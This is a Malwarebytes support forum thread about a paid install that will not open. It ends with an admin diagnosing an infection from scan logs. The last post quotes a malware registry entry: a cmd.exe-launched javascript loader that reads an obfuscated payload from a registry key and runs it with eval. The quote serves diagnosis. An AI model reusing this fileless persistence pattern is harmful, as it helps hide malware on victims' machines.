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Malwarebytes 3 download not prompting for security key


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I recently purchase Malwarebytes 3 (Windows)   The download, mb3-setup-consumer-3.2.2.2029-1.0.212-1.0.2951.exe installs a Windows 10 desktop icon which does not open.  Another Malwarebytes icon is added to my "hidden" tool tray set of icons.   The blue/orange icon states TRIAL version 3.2.2 is installed.  When I select open NOTHING OPENS.  

I purchased a one year program, was emailed a security key.    My purchase is USELESS IF MALWAREBYTES WILL NOT EVEN OPEN.   When I emailed customer support, they emailed instructions which re-listed the instructions for installing the software.   I explained my issue.   They must not have read my issue.   Why remail the same instructions provided with my purchase?

Tech support is still NOT addressing my issue.   At this point, I have zero confidence in a useless software purchase. 

TECH SUPPORT, PLEASE READ THIS NEW TOPIC.   I need a Malwarebytes download which opens AND enables my entering a security key.    Your website states these basic download and installation procedures.   SO WHY CAN I NOT EVEN OPEN THE APPLICATION?

This customer is anything BUT content.   

 

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1 hour ago, FarmersBr said:

My purchase is USELESS IF MALWAREBYTES WILL NOT EVEN OPEN. 

Let's try and get some logs first so the team can review them and see if they can tell what may be causing your issues....

  1. FIRST: Create and obtain Farbar Recovery Scan Tool (FRST) logs
  2. Download FRST and save it to your desktop
    NOTE: You need to run the version compatible with your system. You can check here if you're not sure if your computer is 32-bit or 64-bit
  3. Double-click to run FRST and when the tool opens click "Yes" to the disclaimer
  4. Press the "Scan" button
  5. This will product two files in the same location (directory) as FRST: FRST.txt and Addition.txt
    NOTE: These two files will be collected by the MB-Check Tool and added to the zip file for you
  6. NEXT: Create and obtain an mb-check log
  7. Download MB-Check and save to your desktop
  8. Double-click to run MB-Check and within a few second the command window will open, then click "OK"
  9. This will produce one log file on your desktop: mb-check-results.zip
  10. Attach this file to your forum post by clicking on the "Drag files here to attach, or choose files..." or simply drag the file to the attachment area
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Thank you for your response and detailed instructions.   I was able to download and run both applications.   Attached is the zip file requested.  

Like yourself, I browse with Firefox and have Windows 10, 64 bit version.   However, I use McAfee Security.   Is McAfee potentially causing an issue with Malwarebytes?  

 

Thanks again for your offering to assist.  

mb-check-results.zip

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2 hours ago, FarmersBr said:

Is McAfee potentially causing an issue with Malwarebytes?  

Possibly.

We typically suggest that adjustments be made in the antivirus so that it treats the Malwarebytes as a trusted application.

This is a general type template for McAfee.

Open your McAfee program.
Click Real-Time Scanning: On.
Click Excluded Files.
Click Add file.
Browse to, and select, the file or .exe you want to exclude from scans.
Please "put as Trusted" (i.e., put Trust settings ) for the following MBAM exe files within your Antivirus Software **safe application  list** :

C:\Program Files\Malwarebytes\Anti-Malware\Mbam.exe
C:\Program Files\Malwarebytes\Anti-Malware\MbamPt.exe
C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe
C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe
C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe

 

Also

Quote

State:                  0 <--CAN NOT OPEN SC_HANDLE, SERVICE IS NOT RUNNING FOR: BFE

There is a required service called BFE that is not running on your machine. This fix from Microsoft should fix the BFE service. Please run the fix and restart.

https://support.microsoft.com/en-us/help/17613/automatically-diagnose-and-fix-problems-with-windows-firewall

Edited by Porthos
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I uninstalled Malwarebytes and McAfee Security after having inactivated my pc's wi-fi access.   I ran RegEdit and removed any reference to both applications (after having saved my registry).  I installed the previously downloaded MS diagnosis tool / ran it.

I reinstalled Malwarebytes 64.  IT STILL WILL NOT OPEN.   After approximately 2 plus hours, I give up. 

If any users are reading this, don't waste your money on Malwarebytes 3.  Its very apparent its not combatible with some Windows 10 pc's.  Malwarebyte's technical assistance has not been successful either.  

In summary, don't waste your time and money on Malwarebytes 3.    Life is too short to frustrate oneself with poorly designed products which will not install correctly.   Why would you trust and rely on a security software which will not even install correctly? 

Malwarebytes, I hope you read this.   Shame on you guys!!

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  • Root Admin

Hello @FarmersBr and :welcome:

I'm sorry to hear you're having issues but the logs show the computer is infected. There are some infections which target our program on purpose to prevent it from running to clean the computer.

If you'd like me to assist you in getting your computer cleaned please let me know and I'll be more than happy to assist you.

This is one entry that shows for sure the computer is infected but there are probably others.

HKU\S-1-5-21-1561052281-2474848428-1748510588-1001\Software\Classes\mryrgo: cmd.exe /c start "" "C:\Users\ab7678\AppData\Local\Egcuszuco\lylsyswu.utzaqxo" "javascript:l6BjI5="y";Q3N1=new ActiveXObject("WScript.Shell");fvzOKy1="4C48747";zUq05d=Q3N1.RegRead("HKCU\\software\\plfrulxd\\etib");aWfe5Ak="l";eval(zUq05d);B3LCWa="55";" <==== ATTENTION

Thank you

Ron

 

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